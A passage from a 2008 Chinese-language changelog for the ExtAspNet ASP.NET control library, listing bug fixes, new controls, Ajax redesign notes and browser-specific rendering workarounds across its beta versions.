beta4\n\t-非当前Tab中如果有ContentPanel,则在页面上方会有空白(可以通过设置EnableDeferredRender=false解决,但会减慢页面的加载速度),现在已经解决这个问题。[fixed]\n\t-RadioButtonList去除EnableBackgroundColor\u002FEnableLightBackgroundColor属性,背景色是透明的,也就是和父控件(SimpleForm\u002FForm)的背景色一致。[fixed]\n\t-TwinTriggerBox的第\u003Cem\u003E一个\u003C\u002Fem\u003ETrigger图标不会先显示再隐藏,而是直接隐藏掉(如果用户设置ShowTrigger1=false)。[fixed]\n\t-Web.config中增加配置项FormLabelWidth=\"80\"(默认为80),同时PageManager增加FormLabelWidth属性用来控制页面上所有SimpleForm\u002FForm的表单字段标题的宽度。[fixed]\n\t+完善Ajax。[fixed]\n\t\t-RadioButtonList增加Ajax可更新属性SelectedIndex(SelectedValue\u002FSelectedItem)。\n\t\t-DropDownList增加Ajax可更新属性Enable\u002FSelectedIndex(SelectedValue\u002FSelectedItem)\u002FDataSource。\n\t\t-Grid增加Ajax可更新属性Columns(也就是说Grid列在回发时隐藏显示了一些,也能正确的Ajax)。\n\t\t-ToolbarText增加Ajax可更新属性Text。\n\t\t\n\t\t\n\t\t\n+2008-08-31 v1.1 beta3\n\t-TabStrip增加EnableDeferredRender属性(是否启用延迟加载Tab,默认启用)。[fixed]\n\t-重定向页面,使用系统的方法 PageContext.Redirect(string url),使用Response.Redirect方法会出错。[fixed]\n\t+安全的Ajax设计。[fixed]\n\t\t-这个版本Ajax和上个版本(v1.1beta1)在设计思路上有很大区别,同时在速度上会有进一步的提升。\n\t\t-基本思想:安全的Ajax交互,明确Ajax回发时支持控件哪些属性的改变,这将适合90%的应用场景(并且具有极快的反应速度),对于需要UI大改动的可采用常规回发,系统提供控件级别的EnableAjax属性。\n\t\t-整理支持Ajax的控件属性改变列表(所有被支持的属性改变都是安全的、快速的,所有不被支持的属性改变不会对UI起作用,同时是安全的,不会有js错误)。\n\t-网报Ajax整合(目前只支持所有的列表页面)(v0.8.1)。[fixed]\n\t\n\t\n\t\n+2008-08-29 v1.1 beta1\n\t+Window控件是否弹出的状态在回发时维持。[fixed]\n\t\t-控件设计的\u003Cem\u003E一个\u003C\u002Fem\u003E原则,凡是可以在客户端改变的属性都应该在回发时保持属性的状态。\n\t+完全抛弃Asp.NetAjax,ExtAspNet控件内置Ajax支持。[fixed]\n\t\t-这是\u003Cem\u003E一个\u003C\u002Fem\u003E值得骄傲的设计,可以明显提高页面回发的速度(相比普通的回发和Asp.netAjax的回发),对于IFrame框架的交互也起到很好的加速效果。\n\t\t-不需要做任何配置,所有的回发都是Ajax(在Web.config和PageManager中有设置启用Ajax回发的属性-EnableAjax-默认为true)。\n\t\t+在这种设计下,其实可以完全抛弃Javascript。\n\t\t\t-比如简单的点击\u003Cem\u003E一个\u003C\u002Fem\u003E按钮弹出窗口,可以在Button的OnClick事件中设置Window1.Popup=true,也可以注册Button的OnClientClick=Window1.GetShowReference()。\n\t\t\t-第一种方法需要回发,但是我们内置的Ajax支持能很快的返回需要的结果并解析,在网络速度很快的情况下和第二种方法差别不是很大。\n\t\t\t-推荐的做法是尽量用客户端实现,客户端实现复杂的直接用服务器端实现。\n\t\t+目前ExtAspNetAjax的限制。\n\t\t\t-只对ExtAspNet控件起作用,对Asp.net控件不起作用。\n\t\t\t-对容器控件(有子控件的控件)不起作用,只对最底层的控件起作用。\n\t\t\t-对改变控件的Visible属性会有错误。\n\t\t\t-Window控件的属性改变只有少数几个起作用(Popup,IFrameUrl)。\n\t-PageManager增加属性EnablePageLoading和EnableAjaxLoading(启用页面第一次加载标示和Ajax加载标示,默认都为true),所以如果使用系统默认的加载标示就不必每个页面都添加PageLoading控件。[fixed]\n\t-Grid中的回发事件(主要是LinkButtonField和CheckBoxField(RenderAsStaticField=false))要延迟0ms执行,这样当前行被选中的状态在回发后会得到保持。[fixed]\n\t-Grid选中行的状态在第一次回发时不能保持的BUG。[fixed]\n\t\n\t\n\t\n+2008-08-26 v1.0\n\t+已知问题:IE的ActiveX插件IE Developer Toolbar会对IFrame的加载造成0.5m左右的延迟。\n\t\t-主要是父页面加载\u003Cem\u003E一个\u003C\u002Fem\u003E比较大的css\u003Cem\u003E文件\u003C\u002Fem\u003E(~100k),则每次打开iframe页面,onload事件的调用都会有500ms左右的延迟,在测试IE性能时要禁用此插件。\n\t+优化弹出窗口中IFrame的显示速度。[fixed]\n\t\t-在当前页面弹出窗口需要~20ms,在父页面弹出窗口需要100~300ms。通过缓存弹出的窗口实例,从而第二次弹出窗口不再需要创建时间。\n\t-PageLayout的Region增加SplitColor属性,默认的背景色是透明的。(在网报中需要设置SplitColor=\"#CADDF7\",以便分隔符的颜色和Toolbar的颜色一致)[fixed]\n\t+PageManager增加属性Theme、Language、FormMessageTarget、FormOffsetRight等属性,这些属性可以在Web.config中设置(推荐方法),也可以为每个页面设置。[fixed]\n\t\t-\u003Cem\u003E一个\u003C\u002Fem\u003E典型的应用是为每个用户设置不同的皮肤(根据用户浏览器中Cookie设置的值)(示例在default.aspx)。\n\t-TreeNode增加属性SingleClickExpand,表示点击可切换节点的折叠展开状态。[fixed]\n\t+TabStrip中非当前Tab会延迟渲染。[fixed]\n\t\t-这会明显加快页面的渲染速度,网报中\u003Cem\u003E一个\u003C\u002Fem\u003E典型的费用审批页面可以减少200ms的渲染时间。\n\t\t-由于非当前Tab不会在页面加载时渲染,所以那些Tab中的节点在页面加载后也是不可见的,需要将相关的脚本移动到控件的render事件中。\n\t-不能比较\u003Cem\u003E两个\u003C\u002Fem\u003EDataPicker大小的BUG。[fixed]\n\t-TabStrip延迟加载引起的BUG(非当前Tab中的ContentPanel会占据页面空间,已修正)。[fixed]\n\t-全新的ExtAspNet.Examples(基础知识\u002F表单控件\u002F数据绑定\u002F容器布局\u002FIFrame框架)。[fixed]\n\t\n\t\n\t\n+2008-08-19 v0.4 beta6\n\t+PageManager增加\u003Cem\u003E两个\u003C\u002Fem\u003E属性(EnableInlineStyleJavascript\u002FApplyParentStyleJavascript),可以在IFrame页面中使用父页面的脚本和样式(示例在iframe\u002Fdefault.aspx和iframe\u002Fpage3.aspx)。[fixed]\n\t\t-测试发现,IFrame页面的加载速度并没有明显加快,可以先不使用此属性。\n\t-RadioButtonList放在在BorderLayout中显示不了的BUG [feedback:zgjiang2]。[fixed]\n\t+extjs的BUG,当页面中含有iframe时,Ext.onReady会被调用两次(IE6\u002FIE7)(http:\u002F\u002Fwww.extjs.net\u002Fforum\u002Fshowthread.php?t=43246)(示例在test.aspx)[fixed]\n\t\t-现在的解决方法是在初始化时:if(this.initialized){return;}this.initialized=true;\n\t+需要先回发页面再弹出IFrame窗口。[fixed]\n\t\t-在回发时设置窗口的Popup和IFrameUrl属性,因为这些属性是可以保持状态的,所以在关闭窗口时要注意设置Popup=false。\n\t\t-另一种做法(推荐):PageContext.RegisterStartupScript(Window99.GetShowReference(\".\u002Fsimpleform.aspx\"));。\n\t\n\t\t\n\t\n+2008-08-15 v0.4 beta5\n\t-点击关闭窗口的按钮,在IE6下会有JS错误。[fixed]\n\t-增加BorderLayout控件,示例在iframe\u002Fborderlayout.aspx。[fixed]\n\t+Radiobuttonlist显示有重影(示例在radio.aspx)。[fixed]\n\t\t-全新的样式。\n\t\t-去除Horizontal属性,增加ColumnNumber(可以设置渲染成几列)。\n\t\t-GetValueReference取得的值不正确的BUG。\n\t-动态向Form中添加FormRow,并动态的向FormRow中添加表单字段,以及如何取得表单字段的值。(示例在form_dynamic.aspx)[fixed]\n\t+IFrame弹出窗口关闭后回发父页面,则会多加载IFrame一次,再次打开窗口会重复加载IFrame2-3次[feedback:xmzhu]。[fixed]\n\t\t-这是\u003Cem\u003E一个\u003C\u002Fem\u003E重要的BUG,会严重影响页面的加载速度。原因是通过脚本改变的IFrameUrl会在回发时保持状态,从而回发父页面后Window中的IFrame被添加到页面,而这是不需要的。\n\t\t-现在\"是否弹出窗口、窗口标题、IFrameUrl\"在客户端的改变,不会影响服务器端的属性,也即是不保持状态。此问题解决。(示例在button_iframe.aspx)\n\t\n\t\n\t\n+2008-08-13 v0.4 beta4\n\t-点击关闭窗口的按钮,在IE下会有JS错误。[fixed]\n\t-Window的右上角关闭图标增加提示,优化事件响应。[fixed]\t\n\t-Window的代码重构。[fixed]\t\n\t+修正\u003Cem\u003E一个\u003C\u002Fem\u003E的内存泄漏。[fixed]\n\t\t-IE7下测试,打开iframe\u002Fdefault.aspx页面,iexplorer占内存68.368M。\n\t\t-内存存在泄漏时,点击iframe\u002Fpage3.aspx页面8次后iexplorer占118.792M内存。\n\t\t-修正后,点击iframe\u002Fpage3.aspx页面8次后iexplorer占76.492M内存。\n\t\t-IE窗口最小化时,IE会自动进行垃圾回收。\n\t\n\t\n\t\n+2008-08-12 v0.4 beta3\n\t-底层的javascript框架Extjs升级为v2.2,Grid的渲染速度有很大提升。[fixed]\n\t-Grid的EnableDelayRender默认为true(如果没有设置Grid的高度或通过布局间接设置高度,则行不可见,可以通过AutoHeight=\"true\"解决)。[fixed]\n\t+页面正在加载的提示尽早的显示出来。[fixed]\n\t\t-首先在执行js来完成页面渲染之前延迟5ms,以便浏览器把当前页面内容显示出来。\n\t\t-加载js脚本的script标签放置在页面的最后,放置加载js而阻塞PageLoading的显示。\n\t\n\t\n\t\n+2008-08-08 v0.4 beta2\n\t-TabStrip延时加载出错。[fixed]\n\t-Window的IFrameUrl处理的BUG,比如Pages_ExtAspNet目录下的页面应该为.\u002FFE_ApplyEditor.aspx或~\u002FPages_ExtAspNet\u002FFE_ApplyEditor.aspx。[fixed]\n\t-Window的WindowPosition=\"Center\"并且Target=\"_parent\",则会JS错误。[fixed]\n\t-实现网报首页下拉菜单和左侧菜单的导航功能。[fixed]\n\t-Window的创建在页面显示后进行,不计算在js渲染时间内。[fixed]\n\t-优化费用申请页面(尽量减少不必要的层次嵌套)。[fixed]\n\t-button_iframe.aspx默认会加载form.aspx页面(Window控件的BUG)。[fixed]\n\t-Window中的保存并关闭按钮和Asp.netAjax冲突。[fixed]\n\t-优化关闭Window的js脚本,减少写到页面的js大小。[fixed]\n\t-加快“保存并关闭”按钮关闭窗口的速度,使用PageContext.RegisterExclusiveScript(CurrentActiveWindow.GetClosePostBackReference());,示例在(simpleform.aspx)。[fixed]\n\t\n\t\n\t\n+2008-08-05 v0.4 beta1\n\t-DropDownList去除Traditional属性,和传统的Asp.net控件一样不可编辑。[fixed]\n\t-DropDownList增加SelectedText属性(去除了模拟树时通过SelectedItem.Text的多余html字符)。[fixed]\n\t-为了加快渲染速度,去掉一些特效(比如Panel的折叠效果,Grid的拖动列效果等)[feedback:dcding]。[fixed]\n\t-将生成的js对象的名称简单化,这样可以减少生成的js内容,加快页面加载速度(\u003Cem\u003E一个\u003C\u002Fem\u003E典型页面的js由原来的33.0k降低为21.4k)。[fixed]\n\t+弹出窗口中,点击按钮回发然后点击关闭按钮,出现js错误 [feedback:xmzhu]。[fixed]\n\t\t-因为在页面的Page_Load中,if (!IsPostBack){PageContext.RegisterPageStateChangedStartupScript();}通过这样方法向页面注册了一段脚本,但是这段脚本在回发时没有注册到页面,因为js调用此脚本时报错。\n\t\t-一种解决方法是将向页面注册脚本的函数移动到if\u003Cem\u003E语句\u003C\u002Fem\u003E的外面,即每次都向页面注册此脚本。\n\t\t-另一种办法就是在PageManager控件中增加RegisterPageStateChangedScript(向页面注册监视页面中表单内容改变的脚本)的属性(会在每次页面回发(包含ajax回发)时注册脚本)(示例在button_iframe.aspx\u002Fsimpleform.aspx)。\n\t+PageManager控件增加ExecuteOnReadyWhenPostBack属性(示例在onreadyscript.aspx)。[fixed]\n\t\t-这个手工添加onReady函数能够在每次页面回发时都注册脚本(包括Ajax局部回发),这就避免了手工去做的麻烦(已经在网报中遇到这种情况)。\n\t-每个页面必须添加\u003Cem\u003E一个\u003C\u002Fem\u003EPageManager控件,否则会出错,同时去除DesignTimeStyle控件(作为PageManager的属性出现)。[fixed]\n\t-TextField等表单字段增加Readonly属性。[fixed]\n\t+全新设计的IFrame的架构(尽可能和基于MasterPage的架构保持兼容,和Asp.net Ajax保持兼容)。[fixed]\n\t\t-最大的好处是可以减少页面下载完毕后Javascript渲染时间(可以节约一般的渲染时间)。(所有示例在iframe\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E下)\n\t\t+示例1,通过点击按钮弹出IFrame窗口,可直接关闭父页面,也可在关闭后刷新或回发父页面。(default.aspx\u002Fpage2.aspx\u002Fsimpleform.aspx)\n\t\t\t-虽然IFrame和Master两种架构差异迥然,或许你以为需要修改一堆代码来完成这种转换,起初我也是这么认为的,但是现在你所要做的仅仅是为Window控件增加\u003Cem\u003E一个\u003C\u002Fem\u003E属性(Target=\"_parent\"),就完成了两种框架的转换,是不是很酷。\n\t\t\t-显然,控件本身封装了大量的代码,简单来看现在有三个页面(default.aspx(A)\u002Fpage2.aspx(B)\u002Fsimpleform.aspx(C)),其中A包含B页面,当你在B中打开包含有页面C的窗口时,窗口不是在B中打开,而是在A中打开,这样才能保证窗口覆盖整个页面,当你从C中返回需要回发页面B时,却发现取得的是A页面,因为我们窗口是在A页面中创建的。我会通过一篇文章来揭示这一过程,敬请期待。\n\t\t-示例2,Grid中弹出窗口。(default.aspx\u002Fpage3.aspx\u002Fsimpleform.aspx)\t\n\t\t+示例3,TriggerBox弹出窗口。(default.aspx\u002Ftriggerbox.aspx\u002Fsimpleform.aspx)\t\n\t\t\t-在整个页面弹出窗口或者在当前页面弹出窗口,仅仅设置Window的Target属性即可。\n\t\t-示例4,弹出窗口中的弹出窗口。\n\t-对整个Examples更新测试。[fixed]\n\t\n\t\n\t\n+2008-07-31 v0.3 beta12\n\t-IE下TabStrip在Ajax回发后不会去掉x-hide-display样式,导致Tab显示为空的BUG。[fixed]\n\t-对TabStrip\u002FPanel\u002FWindow中的IFrame重新设计,如果设置IFrameUrl=\"#\"或者\"about:blank\",则不渲染iframe到页面节点,同时第二次打开Window中的IFrame不会有残影出现。[fixed]\n\t-如果TabStrip的Tab不是激活Tab并且设置了IFrameUrl,则会延迟加载(示例在tabstrip_iframe.aspx)。[fixed]\n\t-Tree控件,点击\u003Cem\u003E一个\u003C\u002Fem\u003E节点自动回发,则当前点击的那个节点的选中状态不会保持的BUG [feedback:zgjiang2]。[fixed]\n\t+规范关闭窗口时提示用户保存已经修改的内容提示的调用方式(包含iframe中关闭按钮和window右上角关闭图标的调用方式)(示例在grid_iframe.aspx\u002Fsimpleform.aspx)。[fixed]\n\t\t-内部实现上,点击“保存并关闭按钮”,可以将关闭窗口的脚本更早的执行(在simpleform.aspx,PageContext.RegisterStartupScript增加重载函数),而不是原来的先创建整个页面UI,再关闭窗口。\n\t-参照Yslow的评分规则,将JS\u003Cem\u003E文件\u003C\u002Fem\u003E引用由head移动到body中。[fixed]\n\t-Firefox下,如果页面太长会出滚动条,原来在ViewPort样式中有body{overflow:hidden;}。[fixed]\n\t+IFrame内的页面宽度和高度会自动设置(是不是还在为1px\u002F2px的白边而烦恼,现在不用了:-)(示例在iframe_autosize.aspx\u002Fsimpleform.aspx\u002Fsimpleform2.aspx)[fixed]\n\t\t-增加PageManager控件(需要指定AutoSizePanelID,即需要设置宽度和高度为整个页面的宽度和高度的Panel),HideScrollbar属性用于隐藏滚动条(IE\u002FFirefox)。\n\t\n\t\n\t\n+2008-07-24 v0.3 beta11\n\t-web.config配置信息中MessageTarget改名为FormMessageTarget,增加FormOffsetRight配置项,用来定义全局表单字段距离右边界的宽度,同时每个表单字段都增加OffsetRight属性 [feedback:jima]。[fixed]\n\t-Window在回发时设置的Title不起作用的BUG。[fixed]\n\t-增加Image控件 [feedback:jima]。[fixed]\n\t-Tree控件,如果\u003Cem\u003E一个\u003C\u002Fem\u003E节点不是叶子节点并且没有子节点,则应把它的Expanded设置为false,否则会引起页面死循环回发 [feedback:zgjiang2]。[fixed]\n\t-Image增加ToolTipTitle\u002FToolTipAutoHide\u003Cem\u003E两个\u003C\u002Fem\u003E属性,当提示信息特别长时,可以让用户阅读完毕之后手工关闭提示信息(示例在hyperlink.aspx)。[fixed]\n\t-去掉DropDownList控件的Text属性(强制性),可以通过设置SelectedValue来设置选中哪一项 [feedback:xmzhu]。[fixed]\n\t-过滤提示消息中的换行符(转换为\u003Cbr\u002F\u003E),否则提示信息可能导致页面渲染错误 [feedback:dcding]。[fixed]\n\t\n\t\n\t\n+2008-07-23 v0.3 beta10\n\t+完善Tree控件。[fixed]\n\t\t-如何将数据库中的数据绑定到Tree(示例在tree2_bind_database.aspx)。\n\t\t-ajax加载树节点,放在UpdatePanel中才有ajax的效果(示例在tree2_ajax.aspx)。\n\t\t-更改TreeNode的ID为NodeId,否则\u003Cem\u003E两个\u003C\u002Fem\u003E树中不能有相同ID的TreeNode,这是不合理的。\n\t-Grid的GridColumn的ID改名成ColumnId,否则同\u003Cem\u003E一个\u003C\u002Fem\u003E页面放置\u003Cem\u003E两个\u003C\u002Fem\u003EGrid,它们的GridColumn的ID不能\u003Cem\u003E同名\u003C\u002Fem\u003E,这是不合理的。注意需要更新以前的代码![fixed]\n\t-Grid所有类型的列增加DataTooltipField\u002FDataTooltipFormatString\u003Cem\u003E两个\u003C\u002Fem\u003E字段,以显示ToolTip(示例在grid.aspx)。[fixed]\n\t\n\t\n\t\n+2008-07-22 v0.3 beta9\n\t+IE6下,左侧导航链接的选中样式,以及鼠标移上去和移开的样式不对。[fixed]\n\t\t-发现原来ie6不能正确解析li的高度,必须手工设置才行(style=\"height:20px;\")。\n\t+IE6\u002FIE7下,模拟树的下拉列表如果文字长度太长,则显示的文字会换行,导致错位。[fixed]\n\t\t-虽然最后未能解决\u003Cdiv style=\"width: 60px; white-space: nowrap; overflow: hidden; border: solid 1px red;\"\u003E\u003Cdiv style=\"width: 16px; height: 18px; float: left;\"\u003E##\u003C\u002Fdiv\u003E差旅交通费\u003C\u002Fdiv\u003E在IE和Firefox下显示的不同效果。\n\t\t-但是通过用\u003Cimg src=\"##\" \u002F\u003E来代替\u003Cdiv style=\"background:url(##)\" \u002F\u003E,从而实现FF和IE下样式的统一。\n\t\t-刚看到old9的解决方案:把“差旅交通费”改成“\u003Cspan style=\"margin-right: -1000px;\"\u003E差旅交通费\u003C\u002Fspan\u003E”,在IE下和FF下的都不换行,:-)\n\t-LinkButton增加OnClick事件 [feedback:huihuang]。[fixed]\n\t-Window通过设置IFrameUrl和Popup不起作用的BUG。[feedback:xmzhu]。[fixed]\n\t+增加树控件(Tree)(示例在tree2.aspx)。[fixed]\n\t\t-可以在回发时维持树的状态(选中行,折叠\u002F展开,CheckBox)。\n\t\t-可以通过Inline的方式添加树节点,也可以绑定到XmlDocument\u002FXmlDataSource\u002FSiteMap。\n\t\t-点击树节点可以链接到页面,也可以引发PostBack事件,可以添加自定义脚本。\n\t\n\t\n\t\n+2008-07-16 v0.3 beta8\n\t+ContentPanel中放置ExtAspNet控件,则渲染时会出现各种问题,比如下拉列表显示样式出错,Grid没了滚动条等等。[fixed]\n\t\t-隐蔽性非常强,原来在ContentPanel中渲染ExtAspNet控件,如果容器的display='none',则会出现各种问题(主要是大小不对)。\n\t\t 必须设置容器为visibility='hidden',然后在渲染完成后显示容器。\n\t\t-现在Grid只要显示的设置高度和宽度,或者隐式的设定宽度高度(通过Anchor或Fit布局实现),只要超过Grid容器就会显示滚动条。\n\t+IE6下,在应用Asp.NetAjax后,Form中字段的宽度渲染不正确。[fixed]\n\t\t-调试相当困难,如果你有过在IE下通过alert发现问题的经历,你就能明白。\n\t\t-最后发现IE6下应用Asp.NetAjax后不仅Form中列的宽度设置不正确,而且主内容区域的宽度设置也不正确,不过最终我们还是顽强的修复了IE6下的这个BUG:\n\t\t 在MasterPage的onReady函数中,首先修正内容区域的宽度(region3.setWidth(pageLayout1.getSize().width - region2.getSize().width - 5);region3.doLayout();),然后修正页面中所有表单的宽度(box_fixFormWidthInIE6();):\n\t\t 示例在 Site.Master 页面。\n\t+集成的AspNetAjax有\u003Cem\u003E一个\u003C\u002Fem\u003E很大的BUG,只要你在页面上进行过ajax操作,当改变窗口大小时你会惊讶的发现内容区域的内容全部为空了![fixed]\n\t\t-解决方法相当怪异,经过\u003Cem\u003E一个\u003C\u002Fem\u003E下午的不断尝试,终于用\u003Cem\u003E一个\u003C\u002Fem\u003E怪异的方法解决(box.{0}.setSize(box.{0}.getSize());box.{0}.doLayout();),\n\t\t 这样的代码让我想起刷新窗口时那个方法(window.location.href=window.location.href;),不管怎么说,我对能很好的解决这个重大的BUG很是欣喜。\n\t\n\t\n\t\n+2008-07-14 v0.3 beta6\n\t-增加FlashObject控件。[fixed]\n\t-PageLoading增加EnableFadeOut属性(默认false),可以启用淡出效果。[fixed]\n\t-Accordion选中样式微调。[fixed]\n\t-预加载Form表单出错时提示信息的背景图片。[fixed]\n\t+Grid增加EnableDelayRender属性(默认false),可以加快页面的渲染速度(\u003Cem\u003E一个\u003C\u002Fem\u003E典型的20个记录的页面,可提前0.7s-1s显示出来)。[fixed]\n\t\t-因为延迟加载数据不会改变Grid的大小,所以对于非布局内或不设定高度宽度的Grid,需要设置\"EnableDelayRender=false\"。\n\t-改变Grid中静态的CheckBoxField图片。[fixed]\n\t-TabStrip增加TabIndexChanged事件,同时Tab增加EnablePostBack,可以在点击\u003Cem\u003E一个\u003C\u002Fem\u003ETab时引起回发事件。这在延迟加载Tab的内容非常有用。(示例在tabstrip.aspx)[fixed]\n\t\n\t\n\t\n+2008-07-12 v0.3 beta5\n\t-页面菜单Toolbar的分割符和背景不相融合。[fixed]\n\t-表单字段之间可以比较大小,比如NumberBox可以和Label比较大小,同时增加CompareType,来指定比较的类型(示例在form_compare.aspx)。[fixed]\n\t\t-如果是同种类型的表单字段,不需要指定CompareType,比如\u003Cem\u003E两个\u003C\u002Fem\u003ENumberBox比较值的大小不需要指定CompareType,而\u003Cem\u003E一个\u003C\u002Fem\u003ENumberBox和TextBox比较大小需要指定CompareType。\n\t+如果在编辑页面使用AspNetAjax,则不能在回发时关闭当前窗口[feedback:huihuang](示例在ajax_editor_main.aspx\u002Fajax_editor.aspx)。[fixed]\n\t\t-这是由于ajax后执行的javascript中不能有return false\u003Cem\u003E语句\u003C\u002Fem\u003E。\n\t+在文本框失去焦点时,执行一些Javascript脚本(示例在textbox_blur.aspx) [feedback:xmzhu]。[fixed]\n\t\t-在页面添加onReady函数(会被系统调用),然后用javascript监视文本框值的改变。\n\t-弹出Window默认显示的错误页面,解决方法在当前目录添加\u003Cem\u003E一个\u003C\u002Fem\u003E空的html页面,然后把Window控件的IFrameUrl指向这个页面而不是\"#\"。[fixed]\n\t+弹出的窗口中的弹出窗口的如果内容发生变化,则点击右上角的关闭按钮时会有提示用户先保存的对话框,但是这个对话框的被第二个弹出窗口覆盖了 [feedback:xmzhu]。[fixed]\n\t\t-原来的调用方法太麻烦(见示例中alert\\alert_1.aspx和alert\\alert_2.aspx,总计 6 行代码),现在只需要 3 行代码就OK了。\n\t-点击提交按钮后变成灰色不可再次点击(示例在button_click_gray.aspx)[feedback:jima]。[fixed]\n\t+增加Menu、MenuText、MenuSeparator、MenuButton、MenuHyperLink控件,用于按钮的下拉菜单(示例在button_menu.aspx)。[fixed]\n\t-增加SplitButton控件。[fixed]\n\t\n\t\n\t\n+2008-07-09 v0.3 beta4\n\t-DataPicker默认的日期格式为(yyyy-MM-dd)。[fixed]\n\t+Form表单字段(TextBox,DropDownList...)之间可以比较大小 [feedback:huihuang]。[fixed]\n\t\t-增加ControlToCompare\u002FValueToCompare\u002FCompareOperator\u002FCompareMessage四个属性,示例在form_compare.aspx。\n\t+TabStrip中放置IFrame会出现渲染错误 (示例在tabstrip_iframe.aspx)[feedback:jima]。[fixed]\n\t\t-特殊处理,拥有IFrame的Tab如果不是激活Tab,则不设置Url,只有在激活时才设置Url。\n\t-RadioButtonList增加AutoPostBack属性(示例在radio.aspx) [feedback:xmzhu]。[fixed]\n\t-FormRow可以设置各列的宽度百分比 (示例在form_columnwidths.aspx)[feedback:jima]。[fixed]\n\t+表单字段Enable=false时显示颜色太浅 [feedback:jima]。[fixed]\n\t\t-覆盖缺省样式的.x-item-disabled,设置不透明。\n\t\n\t\n\t\n+2008-07-08 v0.3 beta3\n\t-Grid没有数据,向后翻页按钮可以点击的BUG [feedback:huihuang]。[fixed]\n\t+增加HiddenField控件。[fixed]\n\t\t-其实用TextBox也能模拟HiddenField的行为,只需要设置CssStyle=\"display:none;\"即可。\n\t+TriggerBox 如果 EnableTextBox = true,则不能将Text回发(这是html的限制)。[fixed]\n\t\t-最后的解决方案居然是设置 readonly=true,同时更改属性为 Readonly(示例在textbox2.aspx)。\n\t-模拟树的下拉列表在失去焦点后显示的文字不对的BUG。[fixed]\n\t+控制下拉列表某些项不可以选择(示例在dropdownlist2.aspx)。[fixed]\n\t\t-增加 DataEnableSelectField 属性,不可选择的项变灰,并且鼠标经过时没有样式。\n\t-LinkButton和Grid的LinkButtonField增加Enable属性(示例在hyperlink.aspx和grid.aspx)。[fixed]\n\t\n\t\n\t\n+2008-07-07 v0.3 beta2\n\t+增加UpdatePanelConnector控件,支持在布局构建的页面使用Asp.net Ajax。[fixed]\n\t\t-使用UpdatePanelConnector有\u003Cem\u003E一个\u003C\u002Fem\u003E\u003Cem\u003E要\u003Cem\u003E求\u003C\u002Fem\u003E\u003C\u002Fem\u003E:ContentTemplate下只能有\u003Cem\u003E一个\u003C\u002Fem\u003E子节点,比如box:Panel。\n\t\t-示例在ajax3.aspx\u002Fcontent_page4.aspx。\n\t\t-示例content_page3.aspx中,点击“Ajax查询”按钮和关闭弹出的窗口(点击右上角的叉)都引发异步更新。\n\t \n\t \n\t\n+2008-07-03 v0.3 beta1\n\t+容器控件的AutoHeight\u002FAutoWidth默认为false。[fixed]\n\t\t-使用GroupPanel的地方需要手工添加AutoHeight=\"true\"属性。\n\t+增加UserControlConnector,可以在其中放置用户控件(示例在page_usercontrol.aspx)。[fixed]\n\t\t-也可以在ContentPanel中放置用户控件,注意两者的区别。\n\t+增加ContentPlaceHolderConnector,替换原来Region的ContentPlaceHolderId属性(示例在Site.master)。[fixed]\n\t+支持Asp.net ajax异步加载。[fixed]\n\t\t-有很大局限性,只能在ContentPanel中使用,示例在ajax1.aspx\u002Fcontent_ajax2.aspx中。\n\t\t-对于使用布局构建的页面(比如content_page1.aspx)还不能使用Asp.net ajax,因为页面是整体渲染的,先放弃。\n\t\n\t\n\t\n+2008-07-02 v0.2 beta12\n\t+关闭前提示当前页面已经被修改(示例在content_page1.aspx\u002Fsimpleform.aspx)[fixed]\n\t\t-支持Iframe内按钮和window右上角关闭按钮。\n\t\t-\u003Cem\u003E删除\u003C\u002Fem\u003ECloseAction属性,可以在后台通过OnClientCloseButtonClick属性指定(为了和iframe中做法一致)。\n\t+iframe中的alert\u002Fconfirm要覆盖整个父页面,而不仅仅是iframe页面。[fixed]\n\t\t-在Firefox下还有问题。[fix pending]\n\t+排序时在标题栏显示排序箭头,可以排序的列标题光标为手形(示例在grid_sorting.aspx)。[fixed]\n\t\t-可以通过设置Grid1.CurrentSortColumnIndex = 0;来强制某列显示排序箭头。\n\t\t-可以通过 Grid1.Columns[Grid1.CurrentSortColumnIndex].SortExpression 的方式取得当前Grid的排序表达式。\n\t+HyperLinkField\u002FWindowField的链接地址支持服务器端格式(即是~\u002Falert.aspx)。[fixed]\n\t-TabStrip的Tab中如果放置ContentPanel,则内容渲染位置不正确。[fixed]\n\t-可以在ContentPanel中放置用户控件(示例在page_usercontrol.aspx)。[fixed]\n\t\t\n\t\n\t\n+2008-06-30 v0.2 beta11\n\t-增加TwinTriggerBox控件(示例在twintriggerbox.aspx)。[fixed]\n\t-Grid的数据库分页需要增加属性IsDatabasePaging=true,以便普通分页和数据库分页,否则在添加\u003Cem\u003E删除\u003C\u002Fem\u003E记录时总记录数不会变化 [feedback:zgjiang2]。[fixed]\n\t-关闭Window时PostBack事件OnClose可以指定参数,来区分是哪些操作引发的PostBack事件 [feedback:zgjiang2](示例在window_postback.aspx)。[fixed]\n\t-如果表单验证不通过,则需要弹出对话框提示(第\u003Cem\u003E一个\u003C\u002Fem\u003E没通过验证的字段)(目前还不能切换到相应的tab)。[fixed]\n\t+页面中任意可输入表单字段发生变化,可提示先保存。(示例在content_page1.aspx\u002Fsimpleform.aspx)[fixed]\n\t\t-目前还不支持Window右上角关闭按钮的提示保存功能。\n\t-Master\u002FContent的内容页中Grid的Sort事件不起作用的BUG [feedback:zgjiang2]。[fixed]\n\t-Grid中的LinkButtonField设置ConfirmText会出错 [feedback:huihuang]。[fixed]\n\t-增加静态类Confirm。[fixed]\n\t\n\t\n\t\n+2008-06-27 v0.2 beta10\n\t+Grid完善。[fixed]\n\t\t-CheckBoxField在回发时不能保持状态的BUG (已经更新了grid_checkboxfield.aspx示例)。\n\t\t-Grid中模拟树显示,GridColumn增加DataSimulateTreeLevelField属性(\u003Cem\u003E一个\u003C\u002Fem\u003EGrid只能有\u003Cem\u003E一个\u003C\u002Fem\u003EColumn指定此属性),指定此列模拟树显示时的层次字段(0,1,2,...)(示例在grid_simulate_tree.aspx)。\n\t\t-切换分页时清空选中的值 [feedback:jqpeng]。\n\t\t-增加PreRowDataBound事件,可以在数据绑定之前设置某列的属性 [feedback:xmzhu] (示例在grid_prerowdatabound.aspx)。\n\t-DropDownList模拟树的方式显示,增加DataSimulateTreeLevelField属性,使用方法和Grid的类似(示例在dropdownlist_simulate_tree.aspx)。\n\t\n\t\n\t\n+2008-06-25 v0.2 